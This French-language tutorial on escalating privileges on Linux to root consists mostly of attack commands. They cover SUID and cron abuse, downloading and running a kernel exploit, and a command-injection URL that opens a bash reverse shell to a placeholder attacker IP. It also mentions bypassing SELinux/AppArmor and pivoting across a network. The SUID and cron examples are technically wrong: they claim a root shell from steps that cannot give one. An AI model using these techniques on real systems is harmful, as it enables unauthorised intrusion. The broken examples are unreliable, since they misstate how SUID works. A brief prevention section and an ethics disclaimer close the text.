Introduction
Ce tutoriel explique comment effectuer une escalade de privilèges sur un système Linux pour obtenir des droits d'administrateur. L'escalade de privilèges permet à un attaquant ayant compromis un compte utilisateur de basculer à des privilèges plus élevés, généralement root. Nous verrons comment identifier et exploiter les failles, ainsi que des techniques avancées pour échapper aux contre-mesures de sécurité.
Étape 1: Comprendre l'Escalade de Privilèges
L'escalade de privilèges consiste à exploiter des failles de sécurité dans un système pour obtenir des droits plus élevés que ceux initialement acquis. Les types d'escalade de privilèges incluent :
- Escalade de privilèges horizontale : Obtenir les privilèges d'un autre utilisateur du même niveau.
- Escalade de privilèges verticale : Obtenir des privilèges plus élevés, par exemple, passer d'un utilisateur ordinaire à root.
Étape 2: Identification des Failles
Pour identifier des vecteurs potentiels d'escalade de privilèges, vous pouvez utiliser des outils automatisés comme LinEnum ou LinPEAS, ou procéder manuellement en cherchant des configurations mal sécurisées.
Utilisation de LinEnum :
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Utilisation de LinPEAS :
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Étape 3: Exploitation des Failles
Voici quelques exemples de failles courantes pouvant être exploitées pour une escalade de privilèges :
Exploitation des Fichiers SUID
Les fichiers SUID sont des fichiers exécutables avec le bit SUID activé, ce qui permet à un utilisateur de s'exécuter avec les privilèges du propriétaire du fichier (souvent root). Trouvez des fichiers SUID avec :
find / -perm -u=s -type f 2>/dev/null
Exemple d'exploitation d'un binaire SUID :
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp/bash -p
Vous devriez maintenant avoir un shell root.
Exploitation des Tâches Cron
Les tâches Cron mal configurées peuvent permettre une escalade de privilèges si elles exécutent des scripts ou des binaires modifiables par l'utilisateur. Trouvez les tâches Cron avec :
cat /etc/crontab
ls -la /etc/cron.* /var/spool/cron/crontabs
Exemple d'exploitation :
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > /path/to/vulnerable/script.sh
Une fois la tâche Cron exécutée, vous pouvez obtenir un shell root avec :
/tmp/bash -p
Exploitation des Services Mal Configurés
Les services mal configurés, comme les services web ou les services de base de données, peuvent être exploités pour obtenir des privilèges élevés. Par exemple, un service web exécuté en tant que root et ayant une vulnérabilité d'injection de commandes peut être exploité pour exécuter des commandes en tant que root.
Exemple d'exploitation avec une vulnérabilité d'injection de commandes dans un service web :
http://example.com/vulnerable_page.php?cmd=whoami
http://example.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Techniques Avancées d'Escalade de Privilèges
Pour rendre l'attaque plus efficace, vous pouvez utiliser des techniques avancées telles que :
- Bypass des protections SELinux/AppArmor : Utilisez des techniques pour contourner les protections des systèmes de contrôle d'accès obligatoires (MAC).
- Utilisation des Exploits de Kernel : Utilisez des exploits de kernel pour obtenir des privilèges root sur les systèmes vulnérables.
- Pivoting : Utilisez l'accès obtenu pour pivoter vers d'autres machines sur le réseau.
Exemple d'utilisation d'un exploit de kernel :
wget https://www.exploit-db.com/download/37292 -O exploit.c
gcc -o exploit exploit.c
./exploit
Exemples Pratiques
Voici trois exemples pratiques pour illustrer l'utilisation des techniques d'escalade de privilèges :
Exemple 1: Exploitation d'un Fichier SUID
Trouvez et exploitez un fichier SUID pour obtenir un shell root :
find / -perm -u=s -type f 2>/dev/null
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp/bash -p
Exemple 2: Exploitation d'une Tâche Cron
Modifiez une tâche Cron vulnérable pour obtenir un shell root :
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > /path/to/vulnerable/script.sh
/tmp/bash -p
Exemple 3: Exploitation d'un Service Web
Utilisez une vulnérabilité d'injection de commandes pour obtenir un shell root via un service web :
http://example.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Mesures de Prévention
Pour se protéger contre les escalades de privilèges, envisagez les mesures suivantes :
- Appliquer les mises à jour de sécurité et les correctifs pour combler les vulnérabilités connues.
- Utiliser des configurations de sécurité strictes pour les services et les tâches Cron.
- Limiter l'utilisation des fichiers SUID et SGID.
- Activer les protections SELinux/AppArmor pour limiter l'impact des exploits.
- Surveiller les logs système et les activités suspectes pour détecter les tentatives d'escalade de privilèges.
Conclusion
Ce tutoriel vous a montré comment effectuer une escalade de privilèges sur un système Linux. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des escalades de privilèges et de renforcer la sécurité des systèmes Linux.